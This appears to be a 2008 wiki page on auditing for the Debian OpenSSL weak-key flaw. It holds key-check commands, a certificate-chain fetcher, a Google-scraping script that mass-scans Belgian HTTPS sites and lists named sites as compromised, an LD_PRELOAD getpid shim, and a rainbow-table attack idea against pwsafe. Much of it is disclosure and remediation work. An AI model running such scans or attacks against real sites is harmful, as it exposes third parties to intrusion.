print >> sys.stderr, "ERROR: %d:\n%s" % (rc, report)
Update the new version deals now with both key files and certificate files
Actually to get their version of a fingerprint out of a public certificate, you can simply do
openssl x509 -noout -modulus -in mycertificate.crt.pem |sha1sum
To check the host and all the vservers:
find /etc /home/vservers/*/etc -name "*.key"|xargs -l1 -r openssl-vulnkey 2>&1 |awk '/^ERROR/,/unknown validity/{next}//{print $0 " (key)"}'
find /etc /home/vservers/*/etc -name "*.pem" -not -path "*/etc/ssl/certs/*" |xargs -l1 -r openssl-vulnkey 2>&1 |awk '/^ERROR/,/unknown validity/{next}//{print $0 " (key)"}'
find /etc /home/vservers/*/etc -name "*.crt"|xargs -l1 -r openssl-vulncert 2>&1 |awk '/^ERROR/,/unknown validity/{next}//{print $0 " (cert)"}'
find /etc /home/vservers/*/etc -name "*.pem" -not -path "*/etc/ssl/certs/*" |xargs -l1 -r openssl-vulncert 2>&1 |awk '/^ERROR/,/unknown validity/{next}//{print $0 " (cert)"}'
I'm using a modified version of openssl-vulnkey where I present always a default empty password to avoid being blocked by password-protected pems:
--- /usr/sbin/openssl-vulnkey 2008-05-16 00:26:39.000000000 +0200
+++ /usr/sbin/openssl-vulnkey 2008-05-18 16:40:02.000000000 +0200
@@ -55,7 +55,7 @@
def get_bits(file):
'''Find bit length of file'''
- rc, report = cmd(['openssl', 'rsa', '-text', '-in', file])
+ rc, report = cmd(['openssl', 'rsa', '-text', '-passin', 'pass:', '-in', file])
if rc != 0:
try:
print >> sys.stderr, "ERROR:\n%s" % (report)
Scan
Next step is to get the certificates chain from the distant website
Here is [{{#file: fetch-https-1cert.c}} fetch-https-1cert.c] to do the job
/**
* Fetch an HTTPS page and display the certificate chain.
Sources:
http://curl.haxx.se/mail/lib-2005-06/0106.html
http://openvpn.net/archive/openvpn-devel/2005-12/msg00000.html
http://www.mail-archive.com/debian-bugs-closed@lists.debian.org/msg173845.html
*/
#include <assert.h>
#include <stdio.h>
#include <curl/curl.h>
#include <openssl/ssl.h>
char error_buffer[CURL_ERROR_SIZE] = "";
CURLcode go(CURL *curl, char *url);
CURLcode sslctxfun(CURL *curl, SSL_CTX *sslctx, void *parm);
int verify_callback(int preverify_ok, X509_STORE_CTX *x509_ctx);
void print_certificate(X509 *cert);
/* arrays for certificate chain and errors */
#define MAX_CERTS 20
X509 *certificate[MAX_CERTS];
long certificate_error[MAX_CERTS];
char site[256];
int count=0;
int main(int argc, char *argv[])
{
unsigned int i;
CURL *curl;
CURLcode code;
assert(argc == 2);
for (i = 0; i != MAX_CERTS; i++) {
certificate[i] = 0;
certificate_error[i] = X509_V_OK;
}
curl = curl_easy_init();
assert(curl);
strncpy(site, argv[1], 256);
site[255]=0;
code = go(curl, argv[1]);
if (code != CURLE_OK)
fprintf(stderr, "Error %u: %s\n%s\n",
code,
curl_easy_strerror(code),
error_buffer);
curl_easy_cleanup(curl);
return 0;
}
CURLcode go(CURL *curl, char *url)
{
CURLcode code;
FILE* devnull = NULL;
devnull = fopen("/dev/null", "w+");
code = curl_easy_setopt(curl, CURLOPT_ERRORBUFFER, error_buffer);
if (code != CURLE_OK)
return code;
code = curl_easy_setopt(curl, CURLOPT_URL, url);
if (code != CURLE_OK)
return code;
// code = curl_easy_setopt(curl, CURLOPT_WRITEHEADER, stdout);
// if (code != CURLE_OK)
// return code;
code = curl_easy_setopt(curl, CURLOPT_WRITEDATA, devnull);
if (code != CURLE_OK)
return code;
code = curl_easy_setopt(curl, CURLOPT_TIMEOUT, 5);
if (code != CURLE_OK)
return code;
/* fetch the page even if verifying the certificates fails */
code = curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
if (code != CURLE_OK)
return code;
code = curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
if (code != CURLE_OK)
return code;
code = curl_easy_setopt(curl, CURLOPT_SSL_CTX_FUNCTION, sslctxfun);
if (code != CURLE_OK)
return code;
code = curl_easy_perform(curl);
fclose(devnull);
return code;
}
CURLcode sslctxfun(CURL *curl, SSL_CTX *sslctx, void *parm)
{
SSL_CTX_set_verify(sslctx, SSL_VERIFY_PEER, verify_callback);
return CURLE_OK;
}
static void
extract_x509_field_ssl (X509_NAME *x509, const char *field_name, char *out, int size)
{
int lastpos = -1;
int tmp = -1;
X509_NAME_ENTRY *x509ne = 0;
ASN1_STRING *asn1 = 0;
unsigned char *buf = 0;
int nid = OBJ_txt2nid(field_name);
*out = '\0';
do {
lastpos = tmp;
tmp = X509_NAME_get_index_by_NID(x509, nid, lastpos);
} while (tmp > 0);
/* Nothing found */
if (lastpos == -1)
return;
x509ne = X509_NAME_get_entry(x509, lastpos);
if (!x509ne)
return;
asn1 = X509_NAME_ENTRY_get_data(x509ne);
if (!asn1)
return;
tmp = ASN1_STRING_to_UTF8(&buf, asn1);
if (tmp <= 0)
return;
strncpy(out, buf, size);
OPENSSL_free(buf);
}
int verify_callback(int preverify_ok, X509_STORE_CTX *x509_ctx)
{
X509 *cert = X509_STORE_CTX_get_current_cert(x509_ctx);
int depth = X509_STORE_CTX_get_error_depth(x509_ctx);
int err = X509_STORE_CTX_get_error(x509_ctx);
FILE *peercert_file;
char s[256];
char ii[256];
/* save the certificate by incrementing the reference count and
* keeping a pointer */
if (depth < MAX_CERTS && !certificate[depth]) {
certificate[depth] = cert;
certificate_error[depth] = err;
cert->references++;
}
extract_x509_field_ssl (X509_get_subject_name(cert), "CN", s, 256);
/* write peer-cert in tmp-file */
if (s[0]==0)
{
strcpy(s, site+8);
}
sprintf(ii, "%d", count++);
strcat(s, ii);
printf("Writing cert in: %s\n", s);
peercert_file = fopen(s, "w+");
if(!peercert_file)
{
printf("Failed to open file : %s", s);
return 1;
}
if(PEM_write_X509(peercert_file,cert)<0)
{
printf("Failed to write peer certificate in PEM format");
fclose(peercert_file);
return 1;
}
fclose(peercert_file);
return 1;
}
So now empowered with Google we can do sth like this:
#!/bin/bash
REQ=$1
REQ=${REQ:-site:be}
start=0
for ((i=$start;i<10;i++)); do
echo "Fetching 100 results starting from ${i}00"
for site in $(wget -q -O - --header "User-Agent: Mozilla/5.0" "http://www.google.fr/search?q=inurl%3Ahttps+$REQ&start=${i}00&num=100" |\
egrep -o "https://[a-z0-9.-]+"|\
sort|\
uniq); do
./fetch-https-1cert $site |\
cut -c 18- |\
xargs -d '\n' -l1 -r ./openssl-vulncert | sed "s#\$# (from $site)#"
done
done
./scanhttps |grep COMPROMISED|uniq -w 53
COMPROMISED: 942c267f69f53567053ad77f980f2d8980270759 leclea.be1 (from https://leclea.be) COMPROMISED: 9c5526d7d2d152e8ac437a669741a6ed6bed78a9 www.phpcompta.be0 (from https://phpcompta.be) COMPROMISED: 97c7fdf8136f5c47d3aa2b9667dd252f6af7ebf6 phpcompta.be2 (from https://phpcompta.be) COMPROMISED: fb62587b6fd13b6b7de54fcf10de77f586ac3362 Dr. Robert Necesseter0 (from https://tirna.nog.be) COMPROMISED: a7ae2ec301f7b7b844371bc76c20ee0747c32f15 www.pptickets.be4 (from https://www.pptickets.be) COMPROMISED: bbc4679d1ddccb716593c069708ad2cb21115a47 a248.e.akamai.net1 (from https://www.nokia.be) COMPROMISED: 4da0544ef1cf3cac7e166592e0900d6be2a92fae www.smartsalto.be2 (from https://www.smartsalto.be) COMPROMISED: 1b7da681c247784a6b9e1a1b2c15dcd091b5aa75 securehomes.esat.kuleuven.be2 (from https://securehomes.esat.kuleuven.be)
If you don't want to scan the entire chain but just the server certificate, you don't need fetch-https-1cert:
#!/bin/bash
REQ=$1
REQ=${REQ:-site:be}
start=0
tmpfile=$(mktemp)
for ((i=$start;i<10;i++)); do
echo "Fetching 100 results starting from ${i}00"
for site in $(wget -q -O - --header "User-Agent: Mozilla/5.0" "http://www.google.fr/search?q=inurl%3Ahttps+$REQ&start=${i}00&num=100" |\
egrep -o "https://[a-z0-9.-]+"|\
sort|\
uniq); do
openssl s_client -connect ${site##https://}:443 </dev/null >$tmpfile 2>/dev/null
./openssl-vulncert $tmpfile | sed "s#/tmp/.*\$#$site#"
done
done
rm $tmpfile
OpenVPN
It's not about the SSL keys, those can be checked with openssl-vulnkey.
It's about the shared static keys (openvpn -genkey)
wget https://launchpad.net/ubuntu/hardy/+source/openvpn-blacklist/0.1-0ubuntu0.8.04.1/+files/openvpn-blacklist_0.1-0ubuntu0.8.04.1.tar.gz tar xzf openvpn-blacklist_0.1-0ubuntu0.8.04.1.tar.gz cd openvpn-blacklist-0.1 fakeroot debian/rules binary cd .. sudo dpkg -i openvpn-blacklist_0.1-0ubuntu0.8.04.1_all.deb
Now you have openvpn-vulnkey tool
Others
- encfs
- My key is older, ouf!
- pwsafe, depends also on libssl0.9.8, to be assessed!!
Testing other applications using OpenSSL
We saw that there was a chroot environment for ssh-keygen but putting all applications you want to test in the chroot + all the dependencies can be painful so I did a script to use the ubuntu libraries but from the host, without need to chroot.
wget http://sugar.metasploit.com/ubunturoot.tar.bz2
Actually you don't need all the filesystem, but just:
./usr/lib/libcrypto.so.0.9.8 ./usr/lib/libgnutls-openssl.so.13.0.6 ./usr/lib/libgnutls-openssl.so.11.1.16 ./usr/lib/libssl.so ./usr/lib/libcrypto.so ./usr/lib/libcrypto.so.0.9.7 ./usr/lib/libk5crypto.so.3 ./usr/lib/libk5crypto.so ./usr/lib/libgnutls-openssl.so.11 ./usr/lib/libk5crypto.so.3.0 ./usr/lib/libgnutls-openssl.so.13 ./usr/lib/libgnutls-openssl.so.12 ./usr/lib/libssl.so.0.9.7 ./usr/lib/libgnutls-openssl.so.12.3.8 ./usr/lib/libssl.so.0.9.8 ./getpid.so
Now my script [{{#file: execwithpid.sh}} execwithpid.sh]:
#!/bin/bash
MAGICPID=$1
shift
LD_PRELOAD=./getpid.so
LD_LIBRARY_PATH=./usr/lib/
export MAGICPID
export LD_PRELOAD
export LD_LIBRARY_PATH
$@
Example: (no chroot!)
$ ./execwithpid.sh 1 ssh-keygen -f test Generating public/private rsa key pair. Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in test. Your public key has been saved in test.pub. The key fingerprint is: 65:23:e0:30:76:cb:9c:f6:a9:72:64:1c:f0:4d:90:b9 phil@mercure
$ ssh-vulnkey test COMPROMISED: 2048 65:23:e0:30:76:cb:9c:f6:a9:72:64:1c:f0:4d:90:b9 test.pub
Bingo :-)
$ ./execwithpid.sh 100 openssl genrsa -out test 1024 Generating RSA private key, 1024 bit long modulus ...............................++++++ ..........................................++++++ e is 65537 (0x10001)
$ openssl-vulnkey test COMPROMISED: 7a8981b3333b29be27b03867d253bb3680957e1f test
Bingo :-)
pwsafe
Small subtility: pwsafe can be +s (for using safe RAM) but suid executables don't take injected libraries so we've to remove the suid bit to inject getpid.so
$ sudo chmod -s /usr/bin/pwsafe $ ./execwithpid.sh 1 pwsafe -f test --createdb no passphrase $ ./execwithpid.sh 1 pwsafe -f test2 --createdb no passphrase $ md5sum test* 23421a4fa62c127ad6c08a43afa8f4af test 23421a4fa62c127ad6c08a43afa8f4af test2
First issue: the random seed of the DBs is now the same!
More exactly, the random, the salt and the iv.
The random is fixed at creation of the DB.
Apparently the seed & iv are renewed at every edition of the DB and depend only on a fresh random.
Data encryption depend only on hash and seed/iv so even with different random, if the fresh random for seed is the same, the encrypted data is the same.
A practical attack against a pwsafe DB is e.g. to construct a generic rainbow with the possible random seeds and your favorite character class. Once done it could attack any pwsafe DB generated with a broken OpenSSL or even edited with a broken OpenSSL (if I understand well).
$ ./execwithpid.sh 1 pwsafe -f test2 -a test ... Generate random password? [y] Use bFewpf^uIIZ?fS@u&PkF\>Hb5-QFXJKTxMyx $ ./execwithpid.sh 1 pwsafe -f test2 -a test ... Generate random password? [y] Use bFewpf^uIIZ?fS@u&PkF\>Hb5-QFXJKTxMyx
Second issue: all nice passwords proposed by pwsafe when creating a new entry are now broken!
So are all the accounts you created around based on those pwds
No matter the DB/user/group/... you are using
Of course no matter how decently you seeded the RANDFILE ~/.rnd (cf man)
To rekey your pwsafe, create a new one, import the old one then delete the old one:
$ pwsafe -f newdb --create Enter passphrase for newdb: Reenter passphrase for newdb: $ pwsafe -f newdb --mergedb=/home/myself/.pwsafe.dat Enter passphrase for newdb: Enter passphrase for /home/myself/.pwsafe.dat: Merged 247 entries; skipped 0; 0 duplicates. $ wipe /home/myself/.pwsafe.dat $ wipe /home/myself/.pwsafe.dat~ $ mv newdb /home/myself/.pwsafe.dat $ mv newdb~ /home/myself/.pwsafe.dat~ # once you're sure your new DB is working, wipe all the backups you could have made
And if you generated your account passwords with pwsafe, you'd better renew all those passwords...
More info should come soon on Debian wiki
Status
- zeus
- hera
- themis
- olympe
- mercure
- venus